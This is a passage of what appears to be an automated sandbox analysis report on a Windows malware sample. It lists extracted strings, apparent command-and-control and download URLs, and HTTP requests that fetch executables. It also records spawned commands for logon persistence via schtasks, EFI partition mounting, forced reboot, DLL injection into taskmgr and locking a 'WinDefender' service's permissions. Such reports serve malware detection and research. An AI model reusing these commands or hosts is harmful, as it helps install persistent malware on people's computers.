alue":"ceac5d3f-8a4f-40e1-9a67-76d9108c7cb5"},{"IdType":"LegacyWindowsPhoneProductId","Value":"caac1b9d-621b-4f96-b143-e10e1397740a"},{"IdType":"XboxTitleId","Value":"1681279293"}],"IngestionSource":"DCE","IsMicrosoftProduct":false,"PreferredSkuId":"0010","ProductType":"Application","ValidationData":{"PassedValidation":false,"RevisionId":"2021-10-29T13:27:37.0950019Z\|\|.\|\|b9c681af-ac5a-4a25-a010-7b8f06b1a611\|\|1152921505694056387\|\|Null\|\|fullrelease","ValidationResultUri":""},"MerchandizingTags":[],"PartD":"","ProductFamily":"Apps","ProductKind":"Application","DisplaySkuAvailabilities":[{"Sku"
Source: upd.exe, csrss.exe	String found in binary or memory: .30 Version/10.61facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)tls: received unexpected handshake message of type %T when waiting for %TBlackBerry7100i/4.1.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/103Mozilla/5.0 (Windows NT equals www.facebook.com (Facebook)
Source: upd.exe, csrss.exe	String found in binary or memory: lla/5.0 (compatible; Konqueror/3.3; Linux 2.6.8-gentoo-r3; X11;facebookscraper/1.0( http://www.facebook.com/sharescraper_help.php)2695994666715063979466701508701962594045780771442439172168272236806126959946667150639794667015087019630673557916260026308143510066 equals www.facebook.com (Facebook)

Source: upd.exe, csrss.exe	String found in binary or memory: http://archive.org/details/archive.org_bot)Mozilla/5.0
Source: upd.exe, csrss.exe	String found in binary or memory: http://builtwith.com/biup)
Source: upd.exe.0.dr	String found in binary or memory: http://crl.g
Source: upd.exe, 00000005.00000002.321059486.00000000009FB000.00000040.00020000.sdmp, upd.exe, 00000008.00000002.349015905.00000000009FB000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000002.563763292.00000000009FB000.00000040.00020000.sdmp	String found in binary or memory: http://crl.globalsign.net/ObjectSign.crl0
Source: upd.exe, 00000005.00000002.321059486.00000000009FB000.00000040.00020000.sdmp, upd.exe, 00000008.00000002.349015905.00000000009FB000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000002.563763292.00000000009FB000.00000040.00020000.sdmp	String found in binary or memory: http://crl.globalsign.net/Root.crl0
Source: upd.exe, 00000005.00000002.321059486.00000000009FB000.00000040.00020000.sdmp, upd.exe, 00000008.00000002.349015905.00000000009FB000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000002.563763292.00000000009FB000.00000040.00020000.sdmp	String found in binary or memory: http://crl.globalsign.net/primobject.crl0
Source: svchost.exe, 0000001F.00000002.434211231.000002A198900000.00000004.00000001.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: svchost.exe, 0000001F.00000002.434211231.000002A198900000.00000004.00000001.sdmp	String found in binary or memory: http://crl.ver)
Source: upd.exe, upd.exe, 00000008.00000002.347779189.0000000000401000.00000040.00020000.sdmp, csrss.exe, csrss.exe, 0000000B.00000002.561114927.0000000000401000.00000040.00020000.sdmp	String found in binary or memory: http://devlog.gregarius.net/docs/ua)Links
Source: upd.exe, csrss.exe	String found in binary or memory: http://gais.cs.ccu.edu.tw/robot.php)Gulper
Source: csrss.exe, 0000000B.00000002.568303341.00000000119AA000.00000004.00000001.sdmp, Null.11.dr	String found in binary or memory: http://gohnot.com/d28daa3fb329cff58b19acdf478b7882
Source: 0NlSa5bf55.exe, 00000000.00000002.313848817.000000001140C000.00000004.00000001.sdmp	String found in binary or memory: http://gohnot.com/d28daa3fb329cff58b19acdf478b7882/app.exe
Source: csrss.exe, 0000000B.00000003.410949738.0000000011936000.00000004.00000001.sdmp, csrss.exe, 0000000B.00000003.410362846.00000000119AE000.00000004.00000001.sdmp, csrss.exe, 0000000B.00000003.412650413.0000000011864000.00000004.00000001.sdmp, Null.11.dr	String found in binary or memory: http://gohnot.com/d28daa3fb329cff58b19acdf478b7882/watchdog.exe
Source: 0NlSa5bf55.exe, 00000000.00000002.313848817.000000001140C000.00000004.00000001.sdmp	String found in binary or memory: http://gohnot.com/d28daa3fb329cff58b19acdf478b7882:s
Source: upd.exe, csrss.exe	String found in binary or memory: http://grub.org)Mozilla/5.0
Source: svchost.exe, 0000001F.00000003.409018705.000002A19897E000.00000004.00000001.sdmp, svchost.exe, 0000001F.00000003.408832984.000002A198990000.00000004.00000001.sdmp	String found in binary or memory: http://help.disneyplus.com.
Source: upd.exe, csrss.exe	String found in binary or memory: http://help.ya
Source: upd.exe, 00000005.00000002.321110188.0000000000A5B000.00000040.00020000.sdmp, upd.exe, 00000008.00000002.349179433.0000000000A5B000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000002.564142562.0000000000A5B000.00000040.00020000.sdmp	String found in binary or memory: http://https://_bad_pdb_file.pdb
Source: upd.exe, upd.exe, 00000008.00000002.347779189.0000000000401000.00000040.00020000.sdmp, csrss.exe, csrss.exe, 0000000B.00000002.561114927.0000000000401000.00000040.00020000.sdmp	String found in binary or memory: http://ip-api.com/jsonhttp://localhost:3433/icarus.tetradrachm.netidna:
Source: upd.exe, csrss.exe	String found in binary or memory: http://misc.yahoo.com.cn/he
Source: csrss.exe, 0000000B.00000002.561114927.0000000000401000.00000040.00020000.sdmp	String found in binary or memory: http://newscommer.com/app/app.exe
Source: svchost.exe, 0000000A.00000002.352136565.000001E387E7D000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.microsoft
Source: upd.exe, csrss.exe	String found in binary or memory: http://search.msn.com/msnb
Source: upd.exe, upd.exe, 00000008.00000002.347779189.0000000000401000.00000040.00020000.sdmp, csrss.exe, csrss.exe, 0000000B.00000002.561114927.0000000000401000.00000040.00020000.sdmp	String found in binary or memory: http://search.msn.com/msnbot.htm)msnbot/1.1
Source: csrss.exe, csrss.exe, 0000000B.00000002.561114927.0000000000401000.00000040.00020000.sdmp	String found in binary or memory: http://search.msn.com/msnbot.htm)net/http:
Source: upd.exe, 00000005.00000002.319820615.0000000000401000.00000040.00020000.sdmp, upd.exe, 00000008.00000002.347779189.0000000000401000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000002.561114927.0000000000401000.00000040.00020000.sdmp	String found in binary or memory: http://search.msn.com/msnbot.htm)pkcs7:
Source: upd.exe, csrss.exe	String found in binary or memory: http://www.alexa.com/help/webmasters;
Source: upd.exe, csrss.exe	String found in binary or memory: http://www.archive.org/details/archive.org_bot)Opera/9.80
Source: upd.exe, upd.exe, 00000008.00000002.347779189.0000000000401000.00000040.00020000.sdmp, csrss.exe, csrss.exe, 0000000B.00000002.561114927.0000000000401000.00000040.00020000.sdmp	String found in binary or memory: http://www.avantbrowser.com)MOT-V9mm/00.62
Source: upd.exe, csrss.exe	String found in binary or memory: http://www.baidu.com/search/spide
Source: upd.exe, 00000005.00000002.319820615.0000000000401000.00000040.00020000.sdmp, upd.exe, 00000008.00000002.347779189.0000000000401000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000002.561114927.0000000000401000.00000040.00020000.sdmp	String found in binary or memory: http://www.baidu.com/search/spider.htm)MobileSafari/600.1.4
Source: upd.exe, csrss.exe	String found in binary or memory: http://www.bloglines.com)F
Source: upd.exe, csrss.exe	String found in binary or memory: http://www.everyfeed.c
Source: upd.exe, csrss.exe	String found in binary or memory: http://www.exabot.com/go/robot)Opera/9.80
Source: upd.exe, csrss.exe	String found in binary or memory: http://www.google.com/adsbot.html)Encountered
Source: csrss.exe	String found in binary or memory: http://www.google.com/bot.html)Mozilla/5.0
Source: upd.exe, csrss.exe	String found in binary or memory: http://www.google.com/bot.html)tls:
Source: upd.exe, csrss.exe	String found in binary or memory: http://www.google.com/feedfetcher.html)HKLM
Source: upd.exe, csrss.exe	String found in binary or memory: http://www.googlebot.com/bot.html)Links
Source: upd.exe, csrss.exe	String found in binary or memory: http://www.spidersoft.com)Wget/1.9
Source: upd.exe, csrss.exe	String found in binary or memory: http://yandex.com/bots)Opera/9.51
Source: upd.exe, csrss.exe	String found in binary or memory: http://yandex.com/bots)Opera/9.80
Source: csrss.exe, 0000000B.00000002.561114927.0000000000401000.00000040.00020000.sdmp	String found in binary or memory: https://blockchain.infoindex
Source: svchost.exe, 0000001F.00000003.409018705.000002A19897E000.00000004.00000001.sdmp, svchost.exe, 0000001F.00000003.408832984.000002A198990000.00000004.00000001.sdmp	String found in binary or memory: https://disneyplus.com/legal.
Source: upd.exe, csrss.exe	String found in binary or memory: https://humisnee.com/sbmstart.phpindefinite
Source: csrss.exe, 0000000B.00000003.412056794.00000000118BE000.00000004.00000001.sdmp	String found in binary or memory: https://logs.trumops.com
Source: csrss.exe, 0000000B.00000003.412056794.00000000118BE000.00000004.00000001.sdmp	String found in binary or memory: https://logs.trumops.comhttps://runmodes.com/api/loghttps://server2.trumops.com
Source: upd.exe, csrss.exe	String found in binary or memory: https://raw.githubusercontent.com/spesmilo/electrum/master/electrum/servers.jsontls:
Source: upd.exe, 00000005.00000002.323505653.00000000118BA000.00000004.00000001.sdmp, upd.exe, 00000008.00000002.351385142.0000000011810000.00000004.00000001.sdmp, csrss.exe, 0000000B.00000002.566919363.0000000011804000.00000004.00000001.sdmp	String found in binary or memory: https://retoti.com
Source: upd.exe, upd.exe, 00000008.00000002.347779189.0000000000401000.00000040.00020000.sdmp, csrss.exe, csrss.exe, 0000000B.00000002.561114927.0000000000401000.00000040.00020000.sdmp	String found in binary or memory: https://retoti.comidentifier
Source: csrss.exe, 0000000B.00000003.412084318.00000000118C6000.00000004.00000001.sdmp, csrss.exe, 0000000B.00000003.412056794.00000000118BE000.00000004.00000001.sdmp, Null.11.dr	String found in binary or memory: https://runmodes.com/api/log
Source: csrss.exe, 0000000B.00000003.411869472.00000000118D6000.00000004.00000001.sdmp	String found in binary or memory: https://runmodes.com/api/log442b90d2-fde4-485f-a003-6086e2191d6e.uuid.trumops.com
Source: csrss.exe, 0000000B.00000002.567515603.00000000118BE000.00000004.00000001.sdmp	String found in binary or memory: https://runmodes.com/api/logMachineGuidServiceVersionarch=64&build_number=17134&ec%3Af4%3Abb%3A86%3A
Source: 0NlSa5bf55.exe, 0NlSa5bf55.exe, 00000000.00000002.310849116.0000000000401000.00000040.00020000.sdmp	String found in binary or memory: https://runmodes.com/api/loginvalid
Source: 0NlSa5bf55.exe, 00000000.00000003.302106289.00000000114E2000.00000004.00000001.sdmp, 0NlSa5bf55.exe, 00000000.00000002.314895164.00000000114C0000.00000004.00000001.sdmp, 0NlSa5bf55.exe, 00000000.00000003.301759199.00000000115C2000.00000004.00000001.sdmp	String found in binary or memory: https://server16.trumops.com
Source: 0NlSa5bf55.exe, 00000000.00000003.302123774.00000000114D6000.00000004.00000001.sdmp	String found in binary or memory: https://server16.trumops.com/api/cdn?c=dfd675dbadcd07bb&kind=main&uuid=
Source: 0NlSa5bf55.exe, 00000000.00000002.314895164.00000000114C0000.00000004.00000001.sdmp	String found in binary or memory: https://server16.trumops.comc=dfd675dbadcd07bb&kind=main&server16.trumops.com:443server16.trumops.co
Source: csrss.exe, 0000000B.00000003.412084318.00000000118C6000.00000004.00000001.sdmp, csrss.exe, 0000000B.00000003.412056794.00000000118BE000.00000004.00000001.sdmp, Null.11.dr	String found in binary or memory: https://server2.trumops.com
Source: csrss.exe, 0000000B.00000003.410338670.00000000119DE000.00000004.00000001.sdmp	String found in binary or memory: https://server2.trumops.com/api/cdn?c=fa2e76e6e1aa03da&uuid=442b90d2-fde4-485f-a003-6086e2191d6e
Source: csrss.exe, 0000000B.00000002.567910236.0000000011926000.00000004.00000001.sdmp	String found in binary or memory: https://server2.trumops.com/api/poll
Source: csrss.exe, 0000000B.00000002.567910236.0000000011926000.00000004.00000001.sdmp	String found in binary or memory: https://server2.trumops.com/api/pollE
Source: csrss.exe, 0000000B.00000002.567910236.0000000011926000.00000004.00000001.sdmp	String found in binary or memory: https://server2.trumops.com/api/pollserver2.trumops.com
Source: csrss.exe, 0000000B.00000003.410338670.00000000119DE000.00000004.00000001.sdmp, csrss.exe, 0000000B.00000002.568351371.00000000119DE000.00000004.00000001.sdmp	String found in binary or memory: https://server2.trumops.com/bots/post-ia-data?uuid=442b90d2-fde4-485f-a003-6086e2191d6e
Source: csrss.exe, 0000000B.00000002.568492280.0000000011A78000.00000004.00000001.sdmp	String found in binary or memory: https://server2.trumops.comc=fa2e76e6e1aa03da&uuid=server2.trumops.com:443server2.trumops.com:443tcp
Source: csrss.exe, 0000000B.00000002.567515603.00000000118BE000.00000004.00000001.sdmp	String found in binary or memory: https://server2.trumops.comhttps://server2.trumops.comserver2.trumops.com:443ultserver2.trumops.com:
Source: csrss.exe, 0000000B.00000003.410492385.00000000119AC000.00000004.00000001.sdmp	String found in binary or memory: https://server2.trumops.comserver2.trumops.com:443server2.trumops.com:443tcpserver2.trumops.com
Source: csrss.exe, 0000000B.00000002.568492280.0000000011A78000.00000004.00000001.sdmp	String found in binary or memory: https://server2.trumops.comserver2.trumops.com:443server2.trumops.com:443tcpserver2.trumops.coma
Source: upd.exe, upd.exe, 00000008.00000002.347779189.0000000000401000.00000040.00020000.sdmp, csrss.exe, csrss.exe, 0000000B.00000002.561114927.0000000000401000.00000040.00020000.sdmp	String found in binary or memory: https://sitescore.aiValue
Source: csrss.exe, 0000000B.00000002.567045543.0000000011846000.00000004.00000001.sdmp, csrss.exe, 0000000B.00000002.566919363.0000000011804000.00000004.00000001.sdmp, Null.11.dr	String found in binary or memory: https://trumops.com
Source: upd.exe, csrss.exe	String found in binary or memory: https://trumops.com/api/install-failureinvalid
Source: upd.exe, 00000005.00000002.323457865.00000000118AE000.00000004.00000001.sdmp	String found in binary or memory: https://trumops.comServiceVersionServiceVersionServersVersionServersVersionDistributorIDCampaignIDOS
Source: upd.exe, 00000005.00000002.323617755.00000000118CE000.00000004.00000001.sdmp, upd.exe, 00000005.00000002.323544402.00000000118BE000.00000004.00000001.sdmp	String found in binary or memory: https://trumops.comhttps://retoti.comS-1-5-21-3853321935-2125563209-4053062332-1002
Source: upd.exe, 00000005.00000002.323505653.00000000118BA000.00000004.00000001.sdmp	String found in binary or memory: https://trumops.comhttps://retoti.comhttps://trumops.comhttps://retoti.comFirstInstallDateFirstInsta
Source: upd.exe, 00000008.00000002.351356403.000000001180A000.00000004.00000001.sdmp	String found in binary or memory: https://trumops.comhttps://retoti.comhttps://trumops.comhttps://retoti.comS-1-5-21-3853321935-212556
Source: csrss.exe, 0000000B.00000002.566919363.0000000011804000.00000004.00000001.sdmp	String found in binary or memory: https://trumops.comhttps://retoti.commusnotifyicon.exeRuntimeBroker.exersionruntimebroker.exeSgrmBro
Source: 0NlSa5bf55.exe, 0NlSa5bf55.exe, 00000000.00000002.310849116.0000000000401000.00000040.00020000.sdmp, upd.exe, 00000005.00000002.319820615.0000000000401000.00000040.00020000.sdmp, upd.exe, 00000008.00000002.347779189.0000000000401000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000002.561114927.0000000000401000.00000040.00020000.sdmp	String found in binary or memory: https://trumops.comif-unmodified-sinceillegal
Source: upd.exe, upd.exe, 00000008.00000002.347779189.0000000000401000.00000040.00020000.sdmp, csrss.exe, csrss.exe, 0000000B.00000002.561114927.0000000000401000.00000040.00020000.sdmp	String found in binary or memory: https://turnitin.com/robot/crawlerinfo.html)gentraceback
Source: svchost.exe, 0000001F.00000003.409018705.000002A19897E000.00000004.00000001.sdmp, svchost.exe, 0000001F.00000003.408832984.000002A198990000.00000004.00000001.sdmp	String found in binary or memory: https://www.disneyplus.com/legal/privacy-policy
Source: svchost.exe, 0000001F.00000003.409018705.000002A19897E000.00000004.00000001.sdmp, svchost.exe, 0000001F.00000003.408832984.000002A198990000.00000004.00000001.sdmp	String found in binary or memory: https://www.disneyplus.com/legal/your-california-privacy-rights
Source: svchost.exe, 0000001F.00000003.410486166.000002A198986000.00000004.00000001.sdmp	String found in binary or memory: https://www.tiktok.com/legal/report/
Source: svchost.exe, 0000001F.00000003.410443706.000002A1989AE000.00000004.00000001.sdmp, svchost.exe, 0000001F.00000003.410486166.000002A198986000.00000004.00000001.sdmp	String found in binary or memory: https://www.tiktok.com/legal/report/feedback

Source: unknown

HTTP traffic detected: POST /api/log HTTP/1.1Host: runmodes.comUser-Agent: Go-http-client/1.1Content-Length: 192Content-Type: application/x-www-form-urlencodedAccept-Encoding: gzip

Source: unknown

DNS traffic detected: queries for: runmodes.com

Source: global traffic	HTTP traffic detected: GET /api/cdn?c=dfd675dbadcd07bb&kind=main&uuid= HTTP/1.1Host: server16.trumops.comUser-Agent: Go-http-client/1.1Accept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /api/cdn?c=fa2e76e6e1aa03da&uuid=442b90d2-fde4-485f-a003-6086e2191d6e HTTP/1.1Host: server2.trumops.comUser-Agent: Go-http-client/1.1Accept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /d28daa3fb329cff58b19acdf478b7882/app.exe HTTP/1.1Host: gohnot.comUser-Agent: Go-http-client/1.1Uuid: Accept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /d28daa3fb329cff58b19acdf478b7882/watchdog.exe HTTP/1.1Host: gohnot.comUser-Agent: Go-http-client/1.1Uuid: 442b90d2-fde4-485f-a003-6086e2191d6eVersion: 183Accept-Encoding: gzip

Source: upd.exe, 00000005.00000002.321801363.0000000000FE8000.00000004.00000020.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

System Summary:

Uses shutdown.exe to shutdown or reboot the system

Show sources

Source: C:\Windows\rss\csrss.exe

Process created: C:\Windows\SysWOW64\shutdown.exe shutdown -r -t 5

Source: 0NlSa5bf55.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, DEBUG_STRIPPED, RELOCS_STRIPPED

Source: 5.2.upd.exe.9ad080.3.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 8.2.upd.exe.9af2e0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 8.2.upd.exe.9a76e0.2.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 8.2.upd.exe.9ad080.3.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 11.2.csrss.exe.9ad080.2.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 11.2.csrss.exe.9a76e0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 5.2.upd.exe.9af2e0.2.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 5.2.upd.exe.9a76e0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 11.2.csrss.exe.9af2e0.3.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09

Source: C:\Users\user\Desktop\upd.exe

File created: C:\Windows\rss

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\csrss\injector\injector.exe	Code function: 36_2_00007FF7019B27F0	36_2_00007FF7019B27F0
Source: C:\Users\user\AppData\Local\Temp\csrss\injector\injector.exe	Code function: 36_2_00007FF7019D8A4C	36_2_00007FF7019D8A4C
Source: C:\Users\user\AppData\Local\Temp\csrss\injector\injector.exe	Code function: 36_2_00007FF7019CC25C	36_2_00007FF7019CC25C
Source: C:\Users\user\AppData\Local\Temp\csrss\injector\injector.exe	Code function: 36_2_00007FF7019B41F0	36_2_00007FF7019B41F0
Source: C:\Users\user\AppData\Local\Temp\csrss\injector\injector.exe	Code function: 36_2_00007FF7019C7950	36_2_00007FF7019C7950
Source: C:\Users\user\AppData\Local\Temp\csrss\injector\injector.exe	Code function: 36_2_00007FF7019DA174	36_2_00007FF7019DA174
Source: C:\Users\user\AppData\Local\Temp\csrss\injector\injector.exe	Code function: 36_2_00007FF7019D74FC	36_2_00007FF7019D74FC
Source: C:\Users\user\AppData\Local\Temp\csrss\injector\injector.exe	Code function: 36_2_00007FF7019D03B0	36_2_00007FF7019D03B0
Source: C:\Users\user\AppData\Local\Temp\csrss\injector\injector.exe	Code function: 36_2_00007FF7019D5C10	36_2_00007FF7019D5C10
Source: C:\Users\user\AppData\Local\Temp\csrss\injector\injector.exe	Code function: 36_2_00007FF7019B3370	36_2_00007FF7019B3370
Source: C:\Users\user\AppData\Local\Temp\csrss\injector\injector.exe	Code function: 36_2_00007FF7019C8549	36_2_00007FF7019C8549
Source: C:\Users\user\AppData\Local\Temp\csrss\injector\injector.exe	Code function: 36_2_00007FF7019CD558	36_2_00007FF7019CD558
Source: C:\Users\user\AppData\Local\Temp\csrss\injector\injector.exe	Code function: 36_2_00007FF7019CF908	36_2_00007FF7019CF908
Source: C:\Users\user\AppData\Local\Temp\csrss\injector\injector.exe	Code function: 36_2_00007FF7019D48D8	36_2_00007FF7019D48D8
Source: C:\Users\user\AppData\Local\Temp\csrss\injector\injector.exe	Code function: 36_2_00007FF7019C58EC	36_2_00007FF7019C58EC
Source: C:\Users\user\AppData\Local\Temp\csrss\injector\injector.exe	Code function: 36_2_00007FF7019C8040	36_2_00007FF7019C8040
Source: C:\Users\user\AppData\Local\Temp\csrss\injector\injector.exe	Code function: 36_2_00007FF7019C4830	36_2_00007FF7019C4830
Source: C:\Users\user\AppData\Local\Temp\csrss\injector\injector.exe	Code function: 36_2_00007FF7019D2864	36_2_00007FF7019D2864
Source: C:\Users\user\AppData\Local\Temp\csrss\injector\injector.exe	Code function: 36_2_00007FF7019CF070	36_2_00007FF7019CF070

Source: EfiGuardDxe.efi.11.dr	Static PE information: No import functions for PE file found
Source: bootmgfw.efi.11.dr	Static PE information: No import functions for PE file found
Source: bootx64.efi.11.dr	Static PE information: No import functions for PE file found

Source: C:\Windows\SysWOW64\sc.exe

Process token adjusted: Security

Source: 0NlSa5bf55.exe	Virustotal: Detection: 66%
Source: 0NlSa5bf55.exe	ReversingLabs: Detection: 64%

Source: C:\Users\user\Desktop\0NlSa5bf55.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\0NlSa5bf55.exe "C:\Users\user\Desktop\0NlSa5bf55.exe"
Source: C:\Users\user\Desktop\0NlSa5bf55.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\0NlSa5bf55.exe	Process created: C:\Users\user\Desktop\upd.exe C:\Users\user\Desktop\upd.exe -update
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: unknown	Process created: C:\Windows\servicing\TrustedInstaller.exe C:\Windows\servicing\TrustedInstaller.exe
Source: C:\Users\user\Desktop\upd.exe	Process created: C:\Users\user\Desktop\upd.exe "C:\Users\user\Desktop\upd.exe" -update
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: C:\Users\user\Desktop\upd.exe	Process created: C:\Windows\rss\csrss.exe C:\Windows\rss\csrss.exe -cleanup C:\Users\user\Desktop\upd.exe
Source: C:\Windows\rss\csrss.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
Source: C:\Windows\System32\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\rss\csrss.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /delete /tn ScheduledUpdate /f
Source: C:\Windows\System32\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\rss\csrss.exe	Process created: C:\Windows\SysWOW64\mountvol.exe mountvol B: /s
Source: C:\Windows\SysWOW64\mountvol.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\rss\csrss.exe	Process created: C:\Windows\SysWOW64\mountvol.exe mountvol B: /d
Source: C:\Windows\SysWOW64\mountvol.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: C:\Windows\rss\csrss.exe	Process created: C:\Windows\SysWOW64\mountvol.exe mountvol B: /s
Source: C:\Windows\SysWOW64\mountvol.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\rss\csrss.exe	Process created: C:\Windows\SysWOW64\mountvol.exe mountvol B: /d
Source: C:\Windows\SysWOW64\mountvol.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\rss\csrss.exe	Process created: C:\Windows\SysWOW64\shutdown.exe shutdown -r -t 5
Source: C:\Windows\SysWOW64\shutdown.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: C:\Windows\rss\csrss.exe	Process created: C:\Users\user\AppData\Local\Temp\csrss\injector\injector.exe C:\Users\user\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\user\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
Source: C:\Windows\rss\csrss.exe	Process created: C:\Windows\windefender.exe C:\Windows\windefender.exe
Source: C:\Users\user\AppData\Local\Temp\csrss\injector\injector.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\windefender.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\windefender.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\sc.exe sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
Source: unknown	Process created: C:\Windows\windefender.exe C:\Windows\windefender.exe
Source: C:\Users\user\Desktop\0NlSa5bf55.exe	Process created: C:\Users\user\Desktop\upd.exe C:\Users\user\Desktop\upd.exe -update	Jump to behavior
Source: C:\Users\user\Desktop\upd.exe	Process created: C:\Windows\rss\csrss.exe C:\Windows\rss\csrss.exe -cleanup C:\Users\user\Desktop\upd.exe	Jump to behavior
Source: C:\Windows\rss\csrss.exe	Process created: C:\Windows\SysWOW64\mountvol.exe mountvol B: /s	Jump to behavior
Source: C:\Windows\rss\csrss.exe	Process created: C:\Windows\SysWOW64\mountvol.exe mountvol B: /d	Jump to behavior
